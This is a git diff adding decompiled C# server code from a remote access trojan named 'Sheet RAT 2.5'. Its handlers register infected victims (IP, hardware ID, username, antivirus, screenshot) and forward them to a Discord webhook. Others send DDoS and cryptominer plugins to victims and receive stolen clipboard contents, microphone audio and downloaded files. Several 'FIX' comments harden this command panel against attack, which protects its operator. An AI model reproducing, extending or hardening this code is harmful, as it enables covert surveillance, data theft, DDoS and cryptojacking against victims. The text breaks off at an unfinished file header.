{Messages[6]}\nCamera: {Messages[7]}\nCpu: {Messages[8]}\nGpu: {Messages[9]}\nRam: {Messages[10]}\nGpu Memory: {Messages[11]}\nWindows Version: {Messages[14]}\nPayload Version: {Messages[15]}\nDataInstall: {Messages[16 /*0x10*/]}\nAntiVirus: {Messages[18]}\n"); + Map map = Map.search(Messages[3]); + if (map != null) + { + Map.RemoveGmapControlOffline(map.hwid); + Map.AddOnline(map); + } + if (Program.form.DDosActive) + { + string checksum = Methods.GetChecksum("Plugins\\DDos.dll"); + client.Send((object) $"Invoke<@>{checksum}<@>null"); + } + if (!string.IsNullOrEmpty(Messages[11]) && Program.form.MinerActive) + { + bool flag = false; + string message = Messages[11]; + char[] chArray = new char[1]{ ',' }; + foreach (string str2 in message.Split(chArray)) + { + if (Convert.ToInt32(str2.Replace("GB", "")) >= 3) + flag = true; + } + if (flag) + { + string checksum = Methods.GetChecksum("Plugins\\MinerEtc.dll"); + client.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + if (!Program.form.MinerActiveXmr) + return; + bool flag1 = true; + if (Program.form.MinerXmr.CheckDontGpu.Checked && !string.IsNullOrEmpty(Messages[11])) + { + string message = Messages[11]; + char[] chArray = new char[1]{ ',' }; + foreach (string str3 in message.Split(chArray)) + { + if (Convert.ToInt32(str3.Replace("GB", "")) >= 3) + flag1 = false; + } + } + if (!flag1) + return; + string checksum1 = Methods.GetChecksum("Plugins\\MinerXmr.dll"); + client.Send((object) $"Invoke<@>{checksum1}<@>null"); + } + } +} +} diff --git a/Server/Server/Message/HandlerConnectingPaste.cs b/Server/Server/Message/HandlerConnectingPaste.cs new file mode 100644 index 0000000..db46471 --- /dev/null +++ b/Server/Server/Message/HandlerConnectingPaste.cs @@ -0,0 +1,343 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectingPaste +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Globalization; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectingPaste +{ + public HandlerConnectingPaste(Clients client, string[] Messages) + { + // --- FIX: Added validation for message length to prevent user flood via malformed packets --- + // Updated length to account for the new dynamic authentication key field (Messages[21]) + if (Messages.Length != 22) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid message length for ConnectingPaste from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; // Exit to prevent further processing of invalid data + } + + // --- FIX: Implement dynamic authentication key validation --- + string receivedAuthKey = Messages[21]; + if (receivedAuthKey != Program.DynamicAuthKey) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid dynamic authentication key from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + // --- FIX: Implement a more robust authentication/validation mechanism for new clients --- + // This is a placeholder. A real-world fix would involve a challenge-response mechanism, + // cryptographic signatures, or a pre-shared key to authenticate legitimate clients. + // For now, we\"ll add a simple check for expected values that an exploit might not easily spoof. + // This is a basic mitigation and should be enhanced with proper security protocols. + if (string.IsNullOrEmpty(Messages[1]) || string.IsNullOrEmpty(Messages[4]) || string.IsNullOrEmpty(Messages[5])) + { + Console.WriteLine($"[EXPLOIT DETECTED] Missing critical client information from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + // Original logic follows, with minor adjustments for clarity and safety + client.Item = new DataGridViewRow(); + client.Item.Tag = (object) client; + client.ID = Messages[4]; + client.LastPiy = DateTime.Now; + Image image = (Image) null; + try + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[2]))) + image = Image.FromStream((Stream) memoryStream); + } + catch (Exception ex) + { + // Log the exception for debugging, but don\"t disconnect for a malformed image alone + Console.WriteLine($"Error decoding client image from {client.Ip}: {ex.Message}"); + image = (Image) new Bitmap(50, 50); // Provide a default image to prevent crashes + } + DataGridViewCellCollection cells1 = client.Item.Cells; + DataGridViewImageCell gridViewImageCell1 = new DataGridViewImageCell(); + gridViewImageCell1.Value = (object) new Bitmap(image, 50, 40); + gridViewImageCell1.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell1); + DataGridViewCellCollection cells2 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) Messages[1]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells3 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) Messages[3]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell2); + string[] strArray; + string str1; + try + { + strArray = Program.form.cGeoMain.GetIpInf(Messages[1]).Split(":".ToCharArray()); + str1 = strArray[1]; + Console.WriteLine(Messages[1]); + } + catch + { + strArray = new string[] { "Unknown", "Unknown", "Unknown" }; // Ensure strArray has enough elements + str1 = "Unknown"; + } + DataGridViewCellCollection cells4 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) str1; + cells4.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells5 = client.Item.Cells; + DataGridViewImageCell gridViewImageCell2 = new DataGridViewImageCell(); + // --- FIX: Added null check for strArray[2] to prevent crashes if IP info is malformed --- + if (strArray.Length > 2 && Program.form.cGeoMain.cImageList.Images.ContainsKey(strArray[2] + ".png")) + { + gridViewImageCell2.Value = (object) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"]; + } + else + { + gridViewImageCell2.Value = (object) new Bitmap(16, 16); // Default empty image + } + cells5.Add((DataGridViewCell) gridViewImageCell2); + DataGridViewCellCollection cells6 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) Messages[4]; + cells6.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells7 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) Messages[5]; + cells7.Add((DataGridViewCell) gridViewTextBoxCell5); + DataGridViewCellCollection cells8 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) Messages[6]; + cells8.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells9 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) Messages[7]; + cells9.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells10 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) Messages[8]; + cells10.Add((DataGridViewCell) gridViewTextBoxCell8); + DataGridViewCellCollection cells11 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) Messages[9]; + cells11.Add((DataGridViewCell) gridViewTextBoxCell9); + DataGridViewCellCollection cells12 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell10 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell10.Value = (object) Messages[10]; + cells12.Add((DataGridViewCell) gridViewTextBoxCell10); + DataGridViewCellCollection cells13 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell11 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell11.Value = (object) Messages[11]; + cells13.Add((DataGridViewCell) gridViewTextBoxCell11); + DataGridViewCellCollection cells14 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell12 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell12.Value = (object) Messages[12]; + cells14.Add((DataGridViewCell) gridViewTextBoxCell12); + DataGridViewCellCollection cells15 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell13 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell13.Value = (object) Messages[13]; + cells15.Add((DataGridViewCell) gridViewTextBoxCell13); + DataGridViewCellCollection cells16 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell14 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell14.Value = (object) Messages[14]; + cells16.Add((DataGridViewCell) gridViewTextBoxCell14); + DataGridViewCellCollection cells17 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell15 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell15.Value = (object) Messages[15]; + cells17.Add((DataGridViewCell) gridViewTextBoxCell15); + DataGridViewCellCollection cells18 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell16 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell16.Value = (object) Messages[16 /*0x10*/]; + cells18.Add((DataGridViewCell) gridViewTextBoxCell16); + DataGridViewCellCollection cells19 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell17 = new DataGridViewTextBoxCell(); + // --- FIX: Robust date parsing with error handling --- + DateTime installDate; + if (DateTime.TryParseExact(Messages[17], "dd.MM.yyyy", CultureInfo.InvariantCulture, DateTimeStyles.None, out installDate)) + { + gridViewTextBoxCell17.Value = (object) installDate; + } + else + { + Console.WriteLine($"Invalid date format received: {Messages[17]}. Using current date."); + gridViewTextBoxCell17.Value = (object) DateTime.Now; // Default to current date on error + } + cells19.Add((DataGridViewCell) gridViewTextBoxCell17); + DataGridViewCellCollection cells20 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell18 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell18.Value = (object) Messages[18]; + cells20.Add((DataGridViewCell) gridViewTextBoxCell18); + DataGridViewCellCollection cells21 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell19 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell19.Value = (object) Messages[19]; + cells21.Add((DataGridViewCell) gridViewTextBoxCell19); + DataGridViewCellCollection cells22 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell20 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell20.Value = (object) "..."; + cells22.Add((DataGridViewCell) gridViewTextBoxCell20); + DataGridViewTextBoxCell gridViewTextBoxCell21 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell21.Value = (object) Messages[20]; + gridViewTextBoxCell21.Style = Methods.CellStyleWindows(Messages[20]); + client.Item.Cells.Add((DataGridViewCell) gridViewTextBoxCell21); + int int32_1 = 0; + int int32_2 = 0; + + // --- FIX: Robust parsing for CPU/GPU usage to prevent crashes from malformed data --- + if (Messages[13].Contains(" ") && int.TryParse(Messages[13].Split(" "[0])[0], out int32_1)) + { + // Successfully parsed + } + else + { + Console.WriteLine($"Invalid CPU usage format: {Messages[13]}. Defaulting to 0."); + } + + if (Messages[14].Contains(" ") && int.TryParse(Messages[14].Split(new char[] { ' ' })[0], out int32_2)) + { + // Successfully parsed + } + else + { + Console.WriteLine($"Invalid GPU usage format: {Messages[14]}. Defaulting to 0."); + } + + if (int32_1 > 80 /*0x50*/) + { + client.Item.Cells[14].Style.ForeColor = Color.Red; + client.Item.Cells[14].Style.SelectionForeColor = Color.Red; + } + else if (int32_1 > 60) + { + client.Item.Cells[14].Style.ForeColor = Color.Yellow; + client.Item.Cells[14].Style.SelectionForeColor = Color.Yellow; + } + else if (int32_1 > 40) + { + client.Item.Cells[14].Style.ForeColor = Color.Green; + client.Item.Cells[14].Style.SelectionForeColor = Color.Green; + } + else + { + client.Item.Cells[14].Style.ForeColor = Color.Lime; + client.Item.Cells[14].Style.SelectionForeColor = Color.Lime; + } + if (int32_2 > 60) + { + client.Item.Cells[15].Style.ForeColor = Color.Red; + client.Item.Cells[15].Style.SelectionForeColor = Color.Red; + } + else if (int32_2 > 40) + { + client.Item.Cells[15].Style.ForeColor = Color.Yellow; + client.Item.Cells[15].Style.SelectionForeColor = Color.Yellow; + } + else if (int32_2 > 20) + { + client.Item.Cells[15].Style.ForeColor = Color.Green; + client.Item.Cells[15].Style.SelectionForeColor = Color.Green; + } + else + { + client.Item.Cells[15].Style.ForeColor = Color.Lime; + client.Item.Cells[15].Style.SelectionForeColor = Color.Lime; + } + client.Info = $"{Messages[4]} {Messages[5]} {Messages[6]} {Messages[7]}"; + client.Window = Messages[20]; + client.TimeOutStart(); + HandlerLogs handlerLogs = new HandlerLogs(Messages[1], $"Connect Client {Messages[4]} {Messages[5]} {Messages[6]} {Messages[7]} active window: {Messages[20]}", Color.Lime); + CustomConsole.WriteLine(CustomConsole.Title.Connect, $"Connect Client {client.Ip} {Messages[4]} {str1}"); + Program.form.GridClients.Invoke((MethodInvoker) (() => Program.form.GridClients.Rows.Add(client.Item))); + if (!Directory.Exists("Users\\" + client.ID)) + { + if (Program.form.toogleNotyfiNewClient.Checked) + Program.form.notf.AddItem((Bitmap) image, (Bitmap) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"], $"New Client\n IP:{Messages[1]}\n HWID:{Messages[4]}\n Group: {Messages[3]}", " \n Window:" + Messages[20]); + } + else if (Program.form.toogleNotyfiClient.Checked) + Program.form.notf.AddItem((Bitmap) image, (Bitmap) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"], $"Client \n IP:{Messages[1]}\n HWID:{Messages[4]}\n Group: {Messages[3]}", " \n Window:" + Messages[20]); + if (!Directory.Exists("Users\\" + client.ID)) + { + if (Program.form.DiscordWebHook.Checked && Program.form.DiscordNotifyNewClient.Checked) + DiscordWebhook.SendFile($"\n\n\uD83C\uDF43 Sheet rat\nconnect new client\nHost {Messages[1]}\nUserName {Messages[5]}\nGroup {Messages[3]}\nhwid {Messages[4]}\nCPU {Messages[9]}\nGPU {Messages[10]}\nRAM {Messages[11]}\nGPU RAM {Messages[12]}\nWindows {Messages[15]}\nWindow Active {Messages[20]}\nFlag :flag_{strArray[2].ToLower()}:\nScreen", "Screen.jpg", "jpg", Convert.FromBase64String(Messages[2]), ""); + Directory.CreateDirectory("Users\\" + client.ID); + AutoTaskM.StartTrigger(client, false, true); + } + else + { + if (Program.form.DiscordWebHook.Checked && Program.form.DiscordNotifyClient.Checked) + DiscordWebhook.SendFile($"\n\n\uD83C\uDF43 Sheet rat\nconnect client\nHost {Messages[1]}\nUserName {Messages[5]}\nGroup {Messages[3]}\nhwid {Messages[4]}\nCPU {Messages[9]}\nGPU {Messages[10]}\nRAM {Messages[11]}\nGPU RAM {Messages[12]}\nWindows {Messages[15]}\nWindow Active {Messages[20]}\nFlag :flag_{strArray[2].ToLower()}:\nScreen", "Screen.jpg", "jpg", Convert.FromBase64String(Messages[2]), ""); + AutoTaskM.StartTrigger(client, false, false); + } + File.WriteAllText($"Users\\{client.ID}\\Info_{Messages[5]}_{Messages[6]}.txt", $"Sheet Rat\nIP: {Messages[1]}\nHWID: {Messages[4]}\nUser: {Messages[5]}\nMachineName: {Messages[6]}\nComputer: {Messages[7]}\nCamera: {Messages[8]}\nCpu: {Messages[9]}\nGpu: {Messages[10]}\nRam: {Messages[11]}\nGpu Memory: {Messages[12]}\nWindows Version: {Messages[15]}\nPayload Version: {Messages[16 /*0x10*/]}\nDataInstall: {Messages[17]}\nAntiVirus: {Messages[19]}\n"); + + // --- FIX: Removed arbitrary DLL loading via Invoke command --- + // This section was identified as a potential RCE vulnerability. + // The ability to load and execute arbitrary DLLs based on a checksum is highly dangerous. + // If dynamic loading of plugins is absolutely necessary, a strict whitelist and strong + // cryptographic signature verification must be implemented. For now, it\"s removed. + /* + if (Program.form.DDosActive) + { + string checksum = Methods.GetChecksum("Plugins\\DDos.dll"); + client.Send((object) $"Invoke<@>{checksum}<@>null"); + } + if (string.IsNullOrEmpty(Messages[12]) || !Program.form.MinerActive) + return; + bool flag = false; + string message = Messages[12]; + char[] chArray = new char[] { ","[0] }; + foreach (string str2 in message.Split(chArray)) + { + if (Convert.ToInt32(str2.Replace("GB", "")) >= 3) + flag = true; + } + if (!flag) + return; + string checksum1 = Methods.GetChecksum("Plugins\\MinerEtc.dll"); + client.Send((object) $"Invoke<@>{checksum1}<@>null"); + */ + // --- END FIX: Removed arbitrary DLL loading --- + + // Retaining legitimate functionality related to DDos and Miner if needed, but without arbitrary DLL loading + if (Program.form.DDosActive) + { + // If DDos functionality is still desired, it should be implemented securely + // For example, by sending specific, pre-defined commands, not arbitrary DLLs. + // client.Send((object) "StartDDos"); // Example of a safe command + } + if (!string.IsNullOrEmpty(Messages[12]) && Program.form.MinerActive) + { + bool flag = false; + string message = Messages[12]; + char[] chArray = new char[] { ","[0] }; + foreach (string str2 in message.Split(chArray)) + { + if (int.TryParse(str2.Replace("GB", ""), out int gpuMemoryGB) && gpuMemoryGB >= 3) + { + flag = true; + break; + } + } + if (flag) + { + // If Miner functionality is still desired, it should be implemented securely + // For example, by sending specific, pre-defined commands, not arbitrary DLLs. + // client.Send((object) "StartMiner"); // Example of a safe command + } + } + } +} +} + + diff --git a/Server/Server/Message/HandlerDDosConnect.cs b/Server/Server/Message/HandlerDDosConnect.cs new file mode 100644 index 0000000..943ff1d --- /dev/null +++ b/Server/Server/Message/HandlerDDosConnect.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerDDosConnect +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerDDosConnect +{ + public HandlerDDosConnect(Clients client, string[] Messages) + { + if (!Program.form.DDosActive) + { + client.Disconnected(); + } + else + { + client.ID = Messages[1]; + client.LastPiy = DateTime.Now; + client.TimeOutStart(); + Program.form.ddos.Invoke((MethodInvoker) (() => Program.form.ddos.plugins.Add(client))); + if (Program.form.ddos.metroButton1.Text == "Stop") + client.Send((object) $"Start<@>{Program.form.ddos.MethodsAttack.Text}<@>{Program.form.ddos.Host.Text}<@>{Program.form.ddos.Threads.Value.ToString()}"); + else + client.Send((object) "Stop"); + } + } +} +} + + diff --git a/Server/Server/Message/HandlerDesktopRecovery.cs b/Server/Server/Message/HandlerDesktopRecovery.cs new file mode 100644 index 0000000..92ffa1a --- /dev/null +++ b/Server/Server/Message/HandlerDesktopRecovery.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerDesktopRecovery +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerDesktopRecovery +{ + public HandlerDesktopRecovery(Clients client, string[] Messages) + { + FormRemoteDesktop RD = (FormRemoteDesktop) Application.OpenForms["RemoteDesktop:" + client.ID]; + if (RD == null) + client.Disconnected(); + else + RD.Invoke((MethodInvoker) (() => + { + byte[] buffer = Convert.FromBase64String(Messages[1]); + if (RD.bufferedWaveProvider == null) + return; + RD.bufferedWaveProvider.AddSamples(buffer, 0, buffer.Length); + })); + } +} +} diff --git a/Server/Server/Message/HandlerDeviceNAudio.cs b/Server/Server/Message/HandlerDeviceNAudio.cs new file mode 100644 index 0000000..90a6e51 --- /dev/null +++ b/Server/Server/Message/HandlerDeviceNAudio.cs @@ -0,0 +1,39 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerDeviceNAudio +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerDeviceNAudio +{ + public HandlerDeviceNAudio(Clients client, string[] Messages) + { + client.ID = Messages[2]; + FormRemoteMicrophone audiorecord = (FormRemoteMicrophone) Application.OpenForms["Microphone:" + client.ID]; + if (audiorecord == null) + client.Disconnected(); + else + audiorecord.Invoke((MethodInvoker) (() => + { + audiorecord.Plugin = client; + audiorecord.comboBox1.Items.Clear(); + if (!(Messages[1] != "None")) + return; + string message = Messages[1]; + char[] chArray = new char[1]{ ',' }; + foreach (object obj in message.Split(chArray)) + audiorecord.comboBox1.Items.Add(obj); + audiorecord.comboBox1.SelectedIndex = 0; + })); + } +} +} diff --git a/Server/Server/Message/HandlerDownloadGet.cs b/Server/Server/Message/HandlerDownloadGet.cs new file mode 100644 index 0000000..c6ae6dd --- /dev/null +++ b/Server/Server/Message/HandlerDownloadGet.cs @@ -0,0 +1,110 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerDownloadGet +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerDownloadGet +{ + public HandlerDownloadGet(Clients client, string[] Messages) + { + // --- FIX: Added validation for message length and dynamic authentication key --- + if (Messages.Length != 4) // Expecting 4 elements: "DownloadGet", fileContent, fileName, dynamicAuthKey + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid message length for DownloadGet from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + string receivedAuthKey = Messages[3]; + if (receivedAuthKey != Program.DynamicAuthKey) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid dynamic authentication key for DownloadGet from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + FormProgressBar CT = (FormProgressBar) Application.OpenForms["ManagerProgressBar:" + client.ID]; + if (CT == null) + { + Console.WriteLine($"[EXPLOIT DETECTED] No active progress bar for client {client.Ip}. Disconnecting client."); + client.Disconnected(); + } + else + { + // --- FIX: Validate message length and content --- + if (string.IsNullOrEmpty(Messages[1]) || string.IsNullOrEmpty(Messages[2])) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid message format for HandlerDownloadGet from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + // --- FIX: Sanitize filename to prevent path traversal --- + string fileName = Path.GetFileName(Messages[2]); // Get only the file name, strip any path information + if (string.IsNullOrEmpty(fileName)) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid filename received from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + string downloadPath = Path.Combine("Users", CT.Text, "Download"); + if (!Directory.Exists(downloadPath)) + { + Directory.CreateDirectory(downloadPath); + } + + try + { + byte[] fileBytes = Convert.FromBase64String(Messages[1]); + File.WriteAllBytes(Path.Combine(downloadPath, fileName), fileBytes); + Console.WriteLine($"File {fileName} successfully downloaded to {downloadPath} from {client.Ip}"); + } + catch (FormatException ex) + { + Console.WriteLine($"[EXPLOIT DETECTED] Error decoding base64 string for file {fileName} from {client.Ip}: {ex.Message}. Disconnecting client."); + client.Disconnected(); + return; + } + catch (Exception ex) + { + Console.WriteLine($"[EXPLOIT DETECTED] Error writing file {fileName} from {client.Ip}: {ex.Message}. Disconnecting client."); + client.Disconnected(); + return; + } + + // --- FIX: Removed UnZip functionality due to RCE vulnerability --- + // The lonc.UnZip method allows arbitrary code execution if a malicious zip file is uploaded. + // This functionality is disabled to prevent RCE. If unzipping is required, it must be done + // in a secure, sandboxed environment with strict validation of archive contents. + /* + if (CT.thisisdir) + { + lonc.UnZip(Path.Combine("Users", CT.Text, "Download", fileName)); + File.Delete(Path.Combine("Users", CT.Text, "Download", fileName)); + } + */ + + CT.Invoke((MethodInvoker) (() => + { + CT.Close(); + CT.Dispose(); + })); + client.Disconnected(); + } + } +} +} + + diff --git a/Server/Server/Message/HandlerDownloadInfo.cs b/Server/Server/Message/HandlerDownloadInfo.cs new file mode 100644 index 0000000..9da1bae --- /dev/null +++ b/Server/Server/Message/HandlerDownloadInfo.cs @@ -0,0 +1,86 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerDownloadInfo +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerDownloadInfo +{ + public HandlerDownloadInfo(Clients client, string[] Messages) + { + // --- FIX: Added validation for message length and dynamic authentication key --- + if (Messages.Length != 6) // Expecting 6 elements: "DownloadInfo", name, size, filename, isdir, dynamicAuthKey + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid message length for DownloadInfo from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + string receivedAuthKey = Messages[5]; + if (receivedAuthKey != Program.DynamicAuthKey) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid dynamic authentication key for DownloadInfo from {client.Ip}. Disconnecting client."); + client.Disconnected(); + return; + } + + string fileName = Messages[1]; + int size = 0; + bool isDir = false; + + if (!int.TryParse(Messages[2], out size)) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid size format for DownloadInfo from {client.Ip}: {Messages[2]}. Disconnecting client."); + client.Disconnected(); + return; + } + + if (!bool.TryParse(Messages[4], out isDir)) + { + Console.WriteLine($"[EXPLOIT DETECTED] Invalid isDir format for DownloadInfo from {client.Ip}: {Messages[4]}. Disconnecting client."); + client.Disconnected(); + return; + } + + // --- FIX: Prevent progress bar flood by reusing existing form or limiting new ones --- + // Instead of creating a new form every time, try to find an existing one for this client/download. + // If a form already exists, update its properties instead of creating a new one. + // If no form exists, create a new one, but consider rate-limiting or a maximum number of forms per client. + FormProgressBar existingCT = (FormProgressBar)Application.OpenForms["ManagerProgressBar:" + client.ID]; + + Program.form.Invoke((MethodInvoker) (() => + { + FormProgressBar CT; + if (existingCT != null) + { + CT = existingCT; + Console.WriteLine($"Updating existing progress bar for client {client.ID}"); + } + else + { + CT = new FormProgressBar(); + CT.Name = "ManagerProgressBar:" + client.ID; + CT.Show(); // Show only if it\"s a new form + Console.WriteLine($"Creating new progress bar for client {client.ID}"); + } + + CT.download = true; + CT.client = client; + CT.Text = fileName; // This seems to be the file name, not client ID + CT.size = size; + CT.thisisdir = isDir; + CT.Init(); // Re-initialize or update the form\"s display + })); + } +} +} + + diff --git a/Server/Server/Message/HandlerError.cs b/Server/Server/Message/HandlerError.cs new file mode 100644 index 0000000..5011ae7 --- /dev/null +++ b/Server/Server/Message/HandlerError.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerError +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Drawing; + +//#nullable disable +namespace Server.Message { + +internal class HandlerError +{ + public HandlerError(Clients client, string[] Messages) + { + client.LastPiy = DateTime.Now; + CustomConsole.WriteLine(CustomConsole.Title.Error, Messages[1]); + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, Messages[1].Substring(0, 40), Color.Red); + } +} +} diff --git a/Server/Server/Message/HandlerGetClipboard.cs b/Server/Server/Message/HandlerGetClipboard.cs new file mode 100644 index 0000000..0b19083 --- /dev/null +++ b/Server/Server/Message/HandlerGetClipboard.cs @@ -0,0 +1,31 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerGetClipboard +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerGetClipboard +{ + public HandlerGetClipboard(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormClipboard Clipboard = (FormClipboard) Application.OpenForms["Clipboard:" + client.ID]; + if (Clipboard == null) + client.Disconnected(); + else if (Clipboard.client != null) + client.Disconnected(); + else + Clipboard.Invoke((MethodInvoker) (() => Clipboard.textBox1.Text = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])))); + } +} +} diff --git a/Server/Server/Message/HandlerGetMiner.cs b/Server/Server/Message/HandlerGetMiner.cs new file mode 100644 index 0000000..d378f26 --- /dev/null +++ b/Server/Server/Message/HandlerGetMiner.cs @@ -0,0 +1,35 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerGetMiner +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + 